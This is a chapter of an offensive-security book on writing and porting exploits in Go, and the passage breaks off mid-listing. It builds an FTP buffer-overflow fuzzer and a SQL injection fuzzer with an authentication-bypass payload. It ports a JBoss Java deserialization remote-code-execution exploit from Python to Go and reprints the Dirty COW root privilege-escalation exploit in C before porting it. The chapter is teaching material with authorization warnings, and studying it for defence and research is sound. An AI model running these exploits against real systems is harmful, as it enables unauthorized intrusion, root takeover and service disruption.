9
WRITING AND PORTING EXPLOIT CODE

Image

In the majority of the previous chapters, you used Go to create network-based attacks. You’ve explored raw TCP, HTTP, DNS, SMB, database interaction, and passive packet capturing.

This chapter focuses instead on identifying and exploiting vulnerabilities. First, you’ll learn how to create a vulnerability fuzzer to discover an application’s security weaknesses. Then you’ll learn how to port existing exploits to Go. Finally, we’ll show you how to use popular tools to create Go-friendly shellcode. By the end of the chapter, you should have a basic understanding of how to use Go to discover flaws while also using it to write and deliver various payloads.

Creating a Fuzzer

Fuzzing is a technique that sends extensive amounts of data to an application in an attempt to force the application to produce abnormal behavior. This behavior can reveal coding errors or security deficiencies, which you can later exploit.

Fuzzing an application can also produce undesirable side effects, such as resource exhaustion, memory corruption, and service interruption. Some of these side effects are necessary for bug hunters and exploit developers to do their jobs but bad for the stability of the application. Therefore, it’s crucial that you always perform fuzzing in a controlled lab environment. As with most of the techniques we discuss in this book, don’t fuzz applications or systems without explicit authorization from the owner.

In this section, you’ll build two fuzzers. The first will check the capacity of an input in an attempt to crash a service and identify a buffer overflow. The second fuzzer will replay an HTTP request, cycling through potential input values to detect SQL injection.

Buffer Overflow Fuzzing

Buffer overflows occur when a user submits more data in an input than the application has allocated memory space for. For example, a user could submit 5,000 characters when the application expects to receive only 5. If a program uses the wrong techniques, this could allow the user to write that surplus data to parts of memory that aren’t intended for that purpose. This “overflow” corrupts the data stored within adjacent memory locations, allowing a malicious user to potentially crash the program or alter its logical flow.

Buffer overflows are particularly impactful for network-based programs that receive data from clients. Using buffer overflows, a client can disrupt server availability or possibly achieve remote code execution. It’s worth restating: don’t fuzz systems or applications unless you are permitted to do so. In addition, make sure you fully understand the consequences of crashing the system or service.

How Buffer Overflow Fuzzing Works

Fuzzing to create a buffer overflow generally involves submitting increasingly longer inputs, such that each subsequent request includes an input value whose length is one character longer than the previous attempt. A contrived example using the A character as input would execute according to the pattern shown in Table 9-1.

By sending numerous inputs to a vulnerable function, you’ll eventually reach a point where the length of your input exceeds the function’s defined buffer size, which will corrupt the program’s control elements, such as its return and instruction pointers. At this point, the application or system will crash.

By sending incrementally larger requests for each attempt, you can precisely determine the expected input size, which is important for exploiting the application later. You can then inspect the crash or resulting core dump to better understand the vulnerability and attempt to develop a working exploit. We won’t go into debugger usage and exploit development here; instead, let’s focus on writing the fuzzer.

Table 9-1: Input Values in a Buffer Overflow Test

Attempt

Input value

1

A

2

AA

3

AAA

4

AAAA

N

A repeated N times

If you’ve done any manual fuzzing using modern, interpreted languages, you’ve probably used a construct to create strings of specific lengths. For example, the following Python code, run within the interpreter console, shows how simple it is to create a string of 25 A characters:

>>> x = "A"*25
>>> x
'AAAAAAAAAAAAAAAAAAAAAAAAA'

Unfortunately, Go has no such construct to conveniently build strings of arbitrary length. You’ll have to do that the old-fashioned way—using a loop—which would look something like this:

var (
        n int
        s string
)
for n = 0; n < 25; n++ {
    s += "A"
}

Sure, it’s a little more verbose than the Python alternative, but not overwhelming.

The other consideration you’ll need to make is the delivery mechanism for your payload. This will depend on the target application or system. In some instances, this could involve writing a file to a disk. In other cases, you might communicate over TCP/UDP with an HTTP, SMTP, SNMP, FTP, Telnet, or other networked service.

In the following example, you’ll perform fuzzing against a remote FTP server. You can tweak a lot of the logic we present fairly quickly to operate against other protocols, so it should act as a good basis for you to develop custom fuzzers against other services.

Although Go’s standard packages include support for some common protocols, such as HTTP and SMTP, they don’t include support for client-server FTP interactions. Instead, you could use a third-party package that already performs FTP communications, so you don’t have to reinvent the wheel and write something from the ground up. However, for maximum control (and to appreciate the protocol), you’ll instead build the basic FTP functionality using raw TCP communications. If you need a refresher on how this works, refer to Chapter 2.

Building The Buffer Overflow Fuzzer

Listing 9-1 shows the fuzzer code. (All the code listings at the root location of / exist under the provided github repo https://github.com/blackhat-go/bhg/.) We’ve hardcoded some values, such as the target IP and port, as well as the maximum length of your input. The code itself fuzzes the USER property. Since this property occurs before a user is authenticated, it represents a commonly testable point on the attack surface. You could certainly extend this code to test other pre-authentication commands, such as PASS, but keep in mind that if you supply a legitimate username and then keep submitting inputs for PASS, you might get locked out eventually.

func main() {
   for i := 0; i < 2500; i++ {
       conn, err := net.Dial("tcp", "10.0.1.20:21")
         if err != nil {
           log.Fata lf("[!] Error at offset %d: %s
", i, err)
         }  
       bufio.NewReader(conn).ReadString('
')

         user := ""
       for n := 0; n <= i; n++ {
             user += "A"
          }  

         raw := "USER %s
"
       fmt.Fprintf(conn, raw, user)
         bufio.NewReader(conn).ReadString('
')

         raw = "PASS password
"
         fmt.Fprint(conn, raw)
         bufio.NewReader(conn).ReadString('
')

         if err := conn.Close(); err != nil {
           log.Println("[!] Error at offset %d: %s
", i, err)
         }  
    }  
}

Listing 9-1: A buffer overflow fuzzer (/ch-9/ftp-fuzz/main.go)

The code is essentially one large loop, beginning at . Each time the program loops, it adds another character to the username you’ll supply. In this case, you’ll send usernames from 1 to 2,500 characters in length.

For each iteration of the loop, you establish a TCP connection to the destination FTP server . Any time you interact with the FTP service, whether it’s the initial connection or the subsequent commands, you explicitly read the response from the server as a single line . This allows the code to block while waiting for the TCP responses so you don’t send your commands prematurely, before packets have made their round trip. You then use another for loop to build the string of As in the manner we showed previously . You use the index i of the outer loop to build the string length dependent on the current iteration of the loop, so that it increases by one each time the program starts over. You use this value to write the USER command by using fmt.Fprintf(conn, raw, user) .

Although you could end your interaction with the FTP server at this point (after all, you’re fuzzing only the USER command), you proceed to send the PASS command to complete the transaction. Lastly, you close your connection cleanly .

It’s worth noting that there are two points, and , where abnormal connectivity behavior could indicate a service disruption, implying a potential buffer overflow: when the connection is first established and when the connection closes. If you can’t establish a connection the next time the program loops, it’s likely that something went wrong. You’ll then want to check whether the service crashed as a result of a buffer overflow.

If you can’t close a connection after you’ve established it, this may indicate the abnormal behavior of the remote FTP service abruptly disconnecting, but it probably isn’t caused by a buffer overflow. The anomalous condition is logged, but the program will continue.

A packet capture, illustrated in Figure 9-1, shows that each subsequent USER command grows in length, confirming that your code works as desired.

Image

Figure 9-1: A Wireshark capture depicting the USER command growing by one letter each time the program loops

You could improve the code in several ways for flexibility and convenience. For example, you’d probably want to remove the hardcoded IP, port, and iteration values, and instead include them via command line arguments or a configuration file. We invite you to perform these usability updates as an exercise. Furthermore, you could extend the code so it fuzzes commands after authentication. Specifically, you could update the tool to fuzz the CWD/CD command. Various tools have historically been susceptible to buffer overflows related to the handling of this command, making it a good target for fuzzing.

SQL Injection Fuzzing

In this section, you’ll explore SQL injection fuzzing. Instead of changing the length of each input, this variation on the attack cycles through a defined list of inputs to attempt to cause SQL injection. In other words, you’ll fuzz the username parameter of a website login form by attempting a list of inputs consisting of various SQL meta-characters and syntax that, if handled insecurely by the backend database, will yield abnormal behavior by the application.

To keep things simple, you’ll be probing only for error-based SQL injection, ignoring other forms, such as boolean-, time-, and union-based. That means that instead of looking for subtle differences in response content or response time, you’ll look for an error message in the HTTP response to indicate a SQL injection. This implies that you expect the web server to remain operational, so you can no longer rely on connection establishment as a litmus test for whether you’ve succeeded in creating abnormal behavior. Instead, you’ll need to search the response body for a database error message.

How SQL Injection Works

At its core, SQL injection allows an attacker to insert SQL meta-characters into a statement, potentially manipulating the query to produce unintended behavior or return restricted, sensitive data. The problem occurs when developers blindly concatenate untrusted user data to their SQL queries, as in the following pseudocode:

username = HTTP_GET["username"]
query = "SELECT * FROM users WHERE user = '" + username + "'"
result = db.execute(query)
if(len(result) > 0) {
    return AuthenticationSuccess()
} else {
    return AuthenticationFailed()
}

In our pseudocode, the username variable is read directly from an HTTP parameter. The value of the username variable isn’t sanitized or validated. You then build a query string by using the value, concatenating it onto the SQL query syntax directly. The program executes the query against the database and inspects the result. If it finds at least one matching record, you’d consider the authentication successful. The code should behave appropriately so long as the supplied username consists of alphanumeric and a certain subset of special characters. For example, supplying a username of alice results in the following safe query:

SELECT * FROM users WHERE user = 'alice'

However, what happens when the user supplies a username containing an apostrophe? Supplying a username of o'doyle produces the following query:

SELECT * FROM users WHERE user = 'o'doyle'

The problem here is that the backend database now sees an unbalanced number of single quotation marks. Notice the emphasized portion of the preceding query, doyle; the backend database interprets this as SQL syntax, since it’s outside the enclosing quotes. This, of course, is invalid SQL syntax, and the backend database won’t be able to process it. For error-based SQL injection, this produces an error message in the HTTP response. The message itself will vary based on the database. In the case of MySQL, you’ll receive an error similar to the following, possibly with additional details disclosing the query itself:

You have an error in your SQL syntax

Although we won’t go too deeply into exploitation, you could now manipulate the username input to produce a valid SQL query that would bypass the authentication in our example. The username input ' OR 1=1# does just that when placed in the following SQL statement:

SELECT * FROM users WHERE user = '' OR 1=1#'

This input appends a logical OR onto the end of the query. This OR statement always evaluates to true, because 1 always equals 1. You then use a MySQL comment (#) to force the backend database to ignore the remainder of the query. This results in a valid SQL statement that, assuming one or more rows exist in the database, you can use to bypass authentication in the preceding pseudocode example.

Building the SQL Injection Fuzzer

The intent of your fuzzer won’t be to generate a syntactically valid SQL statement. Quite the opposite. You’ll want to break the query such that the malformed syntax yields an error by the backend database, as the O’Doyle example just demonstrated. For this, you’ll send various SQL meta-characters as input.

The first order of business is to analyze the target request. By inspecting the HTML source code, using an intercepting proxy, or capturing network packets with Wireshark, you determine that the HTTP request submitted for the login portal resembles the following:

POST /WebApplication/login.jsp HTTP/1.1
Host: 10.0.1.20:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Referer: http://10.0.1.20:8080/WebApplication/
Cookie: JSESSIONID=2D55A87C06A11AAE732A601FCB9DE571
Connection: keep-alive
Upgrade-Insecure-Requests: 1

username=someuser&password=somepass

The login form sends a POST request to http://10.0.1.20:8080/WebApplication/login.jsp. There are two form parameters: username and password. For this example, we’ll limit the fuzzing to the username field for brevity. The code itself is fairly compact, consisting of a few loops, some regular expressions, and the creation of an HTTP request. It’s shown in Listing 9-2.

func main() {
  payloads := []string{
        "baseline",
        ")",
        "(",
        """,
        "'",
    }  

  sqlErrors := []string{
        "SQL",
        "MySQL",
        "ORA-",
        "syntax",
    }  

    errRegexes := []*regexp.Regexp{}
    for _, e := range sqlErrors {
      re := regexp.MustCompile(fmt.Sprintf(".*%s.*", e))
        errRegexes = append(errRegexes, re)
    }  

  for _, payload := range payloads {
        client := new(http.Client)
     body := []byte(fmt.Sprintf("username=%s&password=p", payload))
     req, err := http.NewRequest(
           "POST",
           "http://10.0.1.20:8080/WebApplication/login.jsp",
           bytes.NewReader(body),
        )  
        if err != nil {
            log.Fatalf("[!] Unable to generate request: %s
", err)
        }  
        req.Header.Add("Content-Type", "application/x-www-form-urlencoded")
        resp, err := client.Do(req)
        if err != nil {
            log.Fatalf("[!] Unable to process response: %s
", err)
        }  
      body, err = ioutil.ReadAll(resp.Body)
        if err != nil {
            log.Fatalf("[!] Unable to read response body: %s
", err)
        }  
        resp.Body.Close()

      for idx, re := range errRegexes {
          if re.MatchString(string(body)) {
                fmt.Printf(
                    "[+] SQL Error found ('%s') for payload: %s
",
                    sqlErrors[idx],
                    payload,
                )
                break
            }  
        }  
    }  
}

Listing 9-2: A SQL injection fuzzer (/ch-9/http_fuzz/main.go)

The code begins by defining a slice of payloads you want to attempt . This is your fuzzing list that you’ll supply later as the value of the username request parameter. In the same vein, you define a slice of strings that represent keywords within an SQL error message . These will be the values you’ll search for in the HTTP response body. The presence of any of these values is a strong indicator that an SQL error message is present. You could expand on both of these lists, but they’re adequate datasets for this example.

Next, you perform some preprocessing work. For each of the error keywords you wish to search for, you build and compile a regular expression . You do this work outside your main HTTP logic so you don’t have to create and compile these regular expressions multiple times, once for each payload. A minor optimization, no doubt, but good practice nonetheless. You’ll use these compiled regular expressions to populate a separate slice for use later.

Next comes the core logic of the fuzzer. You loop through each of the payloads , using each to build an appropriate HTTP request body whose username value is your current payload . You use the resulting value to build an HTTP POST request , targeting your login form. You then set the Content-Type header and send the request by calling client.Do(req).

Notice that you send the request by using the long-form process of creating a client and an individual request and then calling client.Do(). You certainly could have used Go’s http.PostForm() function to achieve the same behavior more concisely. However, the more verbose technique gives you more granular control over HTTP header values. Although in this example you’re setting only the Content-Type header, it’s not uncommon to set additional header values when making HTTP requests (such as User-Agent, Cookie, and others). You can’t do this with http.PostForm(), so going the long route will make it easier to add any necessary HTTP headers in the future, particularly if you’re ever interested in fuzzing the headers themselves.

Next, you read the HTTP response body by using ioutil.ReadAll() . Now that you have the body, you loop through all of your precompiled regular expressions , testing the response body for the presence of your SQL error keywords . If you get a match, you probably have a SQL injection error message. The program will log details of the payload and error to the screen and move onto the next iteration of the loop.

Run your code to confirm that it successfully identifies a SQL injection flaw in a vulnerable login form. If you supply the username value with a single quotation mark, you’ll get the error indicator SQL, as shown here:

$ go run main.go
[+] SQL Error found ('SQL') for payload: '

We encourage you to try the following exercises to help you better understand the code, appreciate the nuances of HTTP communications, and improve your ability to detect SQL injection:

  1. Update the code to test for time-based SQL injection. To do this, you’ll have to send various payloads that introduce a time delay when the backend query executes. You’ll need to measure the round-trip time and compare it against a baseline request to deduce whether SQL injection is present.

  2. Update the code to test for boolean-based blind SQL injection. Although you can use different indicators for this, a simple way is to compare the HTTP response code against a baseline response. A deviation from the baseline response code, particularly receiving a response code of 500 (internal server error), may be indicative of SQL injection.

  3. Rather than relying on Go’s net.http package to facilitate communications, try using the net package to dial a raw TCP connection. When using the net package, you’ll need to be aware of the Content-Length HTTP header, which represents the length of the message body. You’ll need to calculate this length correctly for each request because the body length may change. If you use an invalid length value, the server will likely reject the request.

In the next section, we’ll show you how to port exploits to Go from other languages, such as Python or C.

Porting Exploits to Go

For various reasons, you may want to port an existing exploit to Go. Perhaps the existing exploit code is broken, incomplete, or incompatible with the system or version you wish to target. Although you could certainly extend or update the broken or incomplete code using the same language with which it was created, Go gives you the luxury of easy cross-compilation, consistent syntax and indentation rules, and a powerful standard library. All of this will make your exploit code arguably more portable and readable without compromising on features.

Likely the most challenging task when porting an existing exploit is determining the equivalent Go libraries and function calls to achieve the same level of functionality. For example, addressing endianness, encoding, and encryption equivalents may take a bit of research, particularly for those who aren’t well versed in Go. Fortunately, we’ve addressed the complexity of network-based communications in previous chapters. The implementations and nuances of this should, hopefully, be familiar.

You’ll find countless ways to use Go’s standard packages for exploit development or porting. While it’s unrealistic for us to comprehensively cover these packages and use cases in a single chapter, we encourage you to explore Go’s official documentation at https://golang.org/pkg/. The documentation is extensive, with an abundance of good examples to help you understand function and package usage. Here are just a few of the packages that will likely be of greatest interest to you when working with exploitation:

bytes Provides low-level byte manipulation

crypto Implements various symmetric and asymmetric ciphers and message authentication

debug Inspects various file type metadata and contents

encoding Encodes and decodes data by using various common forms such as binary, Hex, Base64, and more

io and bufio Reads and writes data from and to various common interface types including the file system, standard output, network connections, and more

net Facilitates client-server interaction by using various protocols such as HTTP and SMTP

os Executes and interacts with the local operating system

syscall Exposes an interface for making low-level system calls

unicode Encodes and decodes data by using UTF-16 or UTF-8

unsafe Useful for avoiding Go’s type safety checks when interacting with the operating system

Admittedly, some of these packages will prove to be more useful in later chapters, particularly when we discuss low-level Windows interactions, but we’ve included this list for your awareness. Rather than trying to cover these packages in detail, we’ll show you how to port an existing exploit by using some of these packages.

Porting an Exploit from Python

In this first example, you’ll port an exploit of the Java deserialization vulnerability released in 2015. The vulnerability, categorized under several CVEs, affects the deserialization of Java objects in common applications, servers, and libraries.1 This vulnerability is introduced by a deserialization library that doesn’t validate input prior to server-side execution (a common cause of vulnerabilities). We’ll narrow our focus to exploiting JBoss, a popular Java Enterprise Edition application server. At https://github.com/roo7break/serialator/blob/master/serialator.py, you’ll find a Python script that contains logic to exploit the vulnerability in multiple applications. Listing 9-3 provides the logic you’ll replicate.

def jboss_attack(HOST, PORT, SSL_On, _cmd):
    # The below code is based on the jboss_java_serialize.nasl script within Nessus
    """
    This function sets up the attack payload for JBoss
    """
    body_serObj = hex2raw3("ACED000573720032737--SNIPPED FOR BREVITY--017400") 
   
    cleng = len(_cmd)
    body_serObj += chr(cleng) + _cmd 
    body_serObj += hex2raw3("740004657865637571--SNIPPED FOR BREVITY--7E003A") 
   
    if SSL_On: 
        webservice = httplib2.Http(disable_ssl_certificate_validation=True)
        URL_ADDR = "%s://%s:%s" % ('https',HOST,PORT)
    else:
        webservice = httplib2.Http()
        URL_ADDR = "%s://%s:%s" % ('http',HOST,PORT)
    headers = {"User-Agent":"JBoss_RCE_POC", 
            "Content-type":"application/x-java-serialized-object--SNIPPED FOR BREVITY--",
            "Content-length":"%d" % len(body_serObj)
        }
    resp, content = webservice.request (
        URL_ADDR+"/invoker/JMXInvokerServlet",
        "POST",
        body=body_serObj,
        headers=headers)
    # print provided response.
    print("[i] Response received from target: %s" % resp)

Listing 9-3: The Python serialization exploit code

Let’s take a look at what you’re working with here. The function receives a host, port, SSL indicator, and operating system command as parameters. To build the proper request, the function has to create a payload that represents a serialized Java object. This script starts by hardcoding a series of bytes onto a variable named body_serObj . These bytes have been snipped for brevity, but notice they are represented in the code as a string value. This is a hexadecimal string, which you’ll need to convert to a byte array so that two characters of the string become a single byte representation. For example, you’ll need to convert AC to the hexadecimal byte xAC. To accomplish this conversion, the exploit code calls a function named hex2raw3. Details of this function’s underlying implementation are inconsequential, so long as you understand what’s happening to the hexadecimal string.

Next, the script calculates the length of the operating system command, and then appends the length and command to the body_serObj variable . The script completes the construction of the payload by appending additional data that represents the remainder of your Java serialized object in a format that JBoss can process . Once the payload is constructed, the script builds the URL and sets up SSL to ignore invalid certificates, if necessary . It then sets the required Content-Type and Content-Length HTTP headers and sends the malicious request to the target server .

Most of what’s presented in this script shouldn’t be new to you, as we’ve covered the majority of it in previous chapters. It’s now just a matter of making the equivalent function calls in a Go friendly manner. Listing 9-4 shows the Go version of the exploit.

func jboss(host string, ssl bool, cmd string) (int, error) {
    serializedObject, err := hex.DecodeString("ACED0005737--SNIPPED FOR BREVITY--017400") 
    if err != nil {
        return 0, err
    }
    serializedObject = append(serializedObject, byte(len(cmd)))
    serializedObject = append(serializedObject, []byte(cmd)...) 
    afterBuf, err := hex.DecodeString("740004657865637571--SNIPPED FOR BREVITY--7E003A") 
    if err != nil {
        return 0, err
    }
    serializedObject = append(serializedObject, afterBuf...)

    var client *http.Client
    var url string
    if ssl { 
        client = &http.Client{
            Transport: &http.Transport{
                TLSClientConfig: &tls.Config{
                    InsecureSkipVerify: true,
                },
            },
        }
        url = fmt.Sprintf("https://%s/invoker/JMXInvokerServlet", host)
    } else {
        client = &http.Client{}
        url = fmt.Sprintf("http://%s/invoker/JMXInvokerServlet", host)
    }

    req, err := http.NewRequest("POST", url, bytes.NewReader(serializedObject))
    if err != nil {
        return 0, err
    }
    req.Header.Set( 
        "User-Agent",
        "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko")
    req.Header.Set(
        "Content-Type",
        "application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue")
    resp, err := client.Do(req) 
    if err != nil {
        return 0, err
    }
    return resp.StatusCode, nil
}

Listing 9-4: The Go equivalent of the original Python serialization exploit (/ch-9/jboss/main.go)

The code is nearly a line-by-line reproduction of the Python version. For this reason, we’ve set the annotations to align with their Python counterparts, so you’ll be able to follow the changes we’ve made.

First, you construct your payload by defining your serialized Java object byte slice , hardcoding the portion before your operating system command. Unlike the Python version, which relied on user-defined logic to convert your hexadecimal string to a byte array, the Go version uses the hex.DecodeString() from the encoding/hex package. Next, you determine the length of your operating system command, and then append it and the command itself to your payload . You complete the construction of your payload by decoding your hardcoded hexadecimal trailer string onto your existing payload . The code for this is slightly more verbose than the Python version because we intentionally added in additional error handling, but it’s also able to use Go’s standard encoding package to easily decode your hexadecimal string.

You proceed to initialize your HTTP client , configuring it for SSL communications if requested, and then build a POST request. Prior to sending the request, you set your necessary HTTP headers so that the JBoss server interprets the content type appropriately. Notice that you don’t explicitly set the Content-Length HTTP header. That’s because Go’s http package does that for you automatically. Finally, you send your malicious request by calling client.Do(req) .

For the most part, this code makes use of what you’ve already learned. The code introduces small modifications such as configuring SSL to ignore invalid certificates and adding specific HTTP headers . Perhaps the one novel element in our code is the use of hex.DecodeString(), which is a Go core function that translates a hexadecimal string to its equivalent byte representation. You’d have to do this manually in Python. Table 9-2 shows some additional, commonly encountered Python functions or constructs with their Go equivalents.

This is not a comprehensive list of functional mappings. Too many variations and edge cases exist to cover all the possible functions required for porting exploits. We’re hopeful that this will help you translate at least some of the most common Python functions to Go.

Table 9-2: Common Python Functions and Their Go Equivalents

Python

Go

Notes

hex(x)

fmt.Sprintf(" %#x", x)

Converts an integer, x, to a lowercase hexadecimal string, prefixed with "0x".

ord(c)

rune(c)

Used to retrieve the integer (int32) value of a single character. Works for standard 8-bit strings or multibyte Unicode. Note that rune is a built-in type in Go and makes working with ASCII and Unicode data fairly simple.

chr(i) and unichr(i)

fmt.Sprintf("%+q", rune(i))

The inverse of ord in Python, chr and unichr return a string of length 1 for the integer input. In Go, you use the rune type and can retrieve it as a string by using the %+q format sequence.

struct.pack(fmt, v1, v2, . . .)

binary.Write(. . .)

Creates a binary representation of the data, formatted appropriately for type and endianness.

struct.unpack(fmt, string)

binary.Read(. . .)

The inverse of struct.pack and binary.Write. Reads structured binary data into a specified format and type.

Porting an Exploit from C

Let’s step away from Python and focus on C. C is arguably a less readable language than Python, yet C shares more similarities with Go than Python does. This makes porting exploits from C easier than you might think. To demonstrate, we’ll be porting a local privilege escalation exploit for Linux. The vulnerability, dubbed Dirty COW, pertains to a race condition within the Linux kernel’s memory subsystem. This flaw affected most, if not all, common Linux and Android distributions at the time of disclosure. The vulnerability has since been patched, so you’ll need to take some specific measures to reproduce the examples that follow. Specifically, you’ll need to configure a Linux system with a vulnerable kernel version. Setting this up is beyond the scope of the chapter; however, for reference, we use a 64-bit Ubuntu 14.04 LTS distribution with kernel version 3.13.1.

Several variations of the exploit are publicly available. You can find the one we intend to replicate at https://www.exploit-db.com/exploits/40616/. Listing 9-5 shows the original exploit code, slightly modified for readability, in its entirety.

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
void *map;
int f;
int stop = 0;
struct stat st;
char *name;
pthread_t pth1,pth2,pth3;

// change if no permissions to read
char suid_binary[] = "/usr/bin/passwd";

unsigned char sc[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  --snip--
  0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 177;

void *madviseThread(void *arg)
{
    char *str;
    str=(char*)arg;
    int i,c=0;
    for(i=0;i<1000000 && !stop;i++) {
        c+=madvise(map,100,MADV_DONTNEED);
    }
    printf("thread stopped
");
}

void *procselfmemThread(void *arg)
{
    char *str;
    str=(char*)arg;
    int f=open("/proc/self/mem",O_RDWR);
    int i,c=0;
    for(i=0;i<1000000 && !stop;i++) {
        lseek(f,map,SEEK_SET);
        c+=write(f, str, sc_len);
    }
    printf("thread stopped
");
}

void *waitForWrite(void *arg) {
    char buf[sc_len];

    for(;;) {
        FILE *fp = fopen(suid_binary, "rb");

        fread(buf, sc_len, 1, fp);

        if(memcmp(buf, sc, sc_len) == 0) {
            printf("%s is overwritten
", suid_binary);
            break;
        }
        fclose(fp);
        sleep(1);
    }

    stop = 1;

    printf("Popping root shell.
");
    printf("Don't forget to restore /tmp/bak
");

    system(suid_binary);
}

int main(int argc,char *argv[]) {
    char *backup;

    printf("DirtyCow root privilege escalation
");
    printf("Backing up %s.. to /tmp/bak
", suid_binary);

    asprintf(&backup, "cp %s /tmp/bak", suid_binary);
    system(backup);

    f = open(suid_binary,O_RDONLY);
    fstat(f,&st);

    printf("Size of binary: %d
", st.st_size);

    char payload[st.st_size];
    memset(payload, 0x90, st.st_size);
    memcpy(payload, sc, sc_len+1);

    map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);

    printf("Racing, this may take a while..
");

    pthread_create(&pth1, NULL, &madviseThread, suid_binary);
    pthread_create(&pth2, NULL, &procselfmemThread, payload);
    pthread_create(&pth3, NULL, &waitForWrite, NULL);

    pthread_join(pth3, NULL);

    return 0;
}

Listing 9-5: The Dirty COW privilege escalation exploit written in the C language

Rather than explaining the details of the C code’s logic, let’s look at it generally, and then break it into chunks to compare it line by line with the Go version.

The exploit defines some malicious shellcode, in Executable and Linkable Format (ELF), that generates a Linux shell. It executes the code as a privileged user by creating multiple threads that call various system functions to write our shellcode to memory locations. Eventually, the shellcode exploits the vulnerability by overwriting the contents of a binary executable file that happens to have the SUID bit set and belongs to the root user. In this case, that binary is /usr/bin/passwd. Normally, a nonroot user wouldn’t be able to overwrite the file. However, because of the Dirty COW vulnerability, you achieve privilege escalation because you can write arbitrary contents to the file while preserving the file permissions.

Now let’s break the C code into easily digestible portions and compare each section with its equivalent in Go. Note that the Go version is specifically trying to achieve a line-by-line reproduction of the C version. Listing 9-6 shows the global variables defined or initialized outside our functions in C, while Listing 9-7 shows them in Go.

 void *map;
   int f;
 int stop = 0;
   struct stat st;
   char *name;
   pthread_t pth1,pth2,pth3;

   // change if no permissions to read
 char suid_binary[] = "/usr/bin/passwd";

 unsigned char sc[] = {
     0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
     --snip--
     0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
   };
   unsigned int sc_len = 177;

Listing 9-6: Initialization in C

 var mapp uintptr
 var signals = make(chan bool, 2)
 const SuidBinary = "/usr/bin/passwd"

 var sc = []byte{
       0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
       --snip--
       0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05,
   }

Listing 9-7: Initialization in Go

The translation between C and Go is fairly straightforward. The two code sections, C and Go, maintain the same numbering to demonstrate how Go achieves similar functionality to the respective lines of C code. In both cases, you track mapped memory by defining a uintptr variable . In Go, you declare the variable name as mapp since, unlike C, map is a reserved keyword in Go. You then initialize a variable to be used for signaling the threads to stop processing . Rather than use an integer, as the C code does, the Go convention is instead to use a buffered boolean channel. You explicitly define its length to be 2 since there will be two concurrent functions that you’ll wish to signal. Next, you define a string to your SUID executable and wrap up your global variables by hardcoding your shellcode into a slice . A handful of global variables were omitted in the Go code compared to the C version, which means you’ll define them as needed within their respective code blocks.

Next, let’s look at madvise() and procselfmem(), the two primary functions that exploit the race condition. Again, we’ll compare the C version in Listing 9-8 with the Go version in Listing 9-9.

void *madviseThread(void *arg)
{
    char *str;
    str=(char*)arg;
    int i,c=0;
    for(i=0;i<1000000 && !stop;i++) {
        c+=madvise(map,100,MADV_DONTNEED);
    }
    printf("thread stopped
");
}

void *procselfmemThread(void *arg)
{
    char *str;
    str=(char*)arg;
    int f=open("/proc/self/mem",O_RDWR);
    int i,c=0;
    for(i=0;i<1000000 && !stop;i++) {
      lseek(f,map,SEEK_SET);
        c+=write(f, str, sc_len);
    }
    printf("thread stopped
");
}

Listing 9-8: Race condition functions in C

func madvise() {
    for i := 0; i < 1000000; i++ {
        select {
        case <- signals: 
            fmt.Println("madvise done")
            return
        default:
            syscall.Syscall(syscall.SYS_MADVISE, mapp, uintptr(100), syscall.MADV_DONTNEED) 
        }
    }
}

func procselfmem(payload []byte) {
    f, err := os.OpenFile("/proc/self/mem", syscall.O_RDWR, 0)
    if err != nil {
        log.Fatal(err)
    }
    for i := 0; i < 1000000; i++ {
        select {
        case <- signals: 
            fmt.Println("procselfmem done")
            return
        default:
            syscall.Syscall(syscall.SYS_LSEEK, f.Fd(), mapp, uintptr(os.SEEK_SET)) 
            f.Write(payload) 
        }
    }
}

Listing 9-9: Race condition functions in Go

The race condition functions use variations for signaling . Both functions contain for loops that iterate an extensive number of times. The C version checks the value of the stop variable, while the Go version uses a select statement that attempts to read from the signals channel. When a signal is present, the function returns. In the event that no signal is waiting, the default case executes. The primary differences between the madvise() and procselfmem() functions occur within the default case. Within our madvise() function, you issue a Linux system call to the madvise() function, whereas your procselfmem() function issues Linux system calls to lseek() and writes your payload to memory .

Here are the main differences between the C and Go versions of these functions:

  • The Go version uses a channel to determine when to prematurely break the loop, while the C function uses an integer value to signal when to break the loop after the thread race condition has occurred.

  • The Go version uses the syscall package to issue Linux system calls. The parameters passed to the function include the system function to be called and its required parameters. You can find the name, purpose, and parameters of the function by searching Linux documentation. This is how we are able to call native Linux functions.

Now, let’s review the waitForWrite() function, which monitors for the presence of changes to SUID in order to execute the shellcode. The C version is shown in Listing 9-10, and the Go version is shown in Listing 9-11.

void *waitForWrite(void *arg) {
    char buf[sc_len];

  for(;;) {
        FILE *fp = fopen(suid_binary, "rb");

        fread(buf, sc_len, 1, fp);

        if(memcmp(buf, sc, sc_len) == 0) {
            printf("%s is overwritten
", suid_binary);
            break;
        }
        fclose(fp);
        sleep(1);
    }

  stop = 1;

    printf("Popping root shell.
");
    printf("Don't forget to restore /tmp/bak
");

  system(suid_binary);
}

Listing 9-10: The waitForWrite() function in C

func waitForWrite() {
    buf := make([]byte, len(sc))
  for {
        f, err := os.Open(SuidBinary)
        if err != nil {
            log.Fatal(err)
        }
        if _, err := f.Read(buf); err != nil {
            log.Fatal(err)
        }
        f.Close()
        if bytes.Compare(buf, sc) == 0 {
            fmt.Printf("%s is overwritten
", SuidBinary)
            break
        }
        time.Sleep(1*time.Second)
    }
  signals <- true
    signals <- true


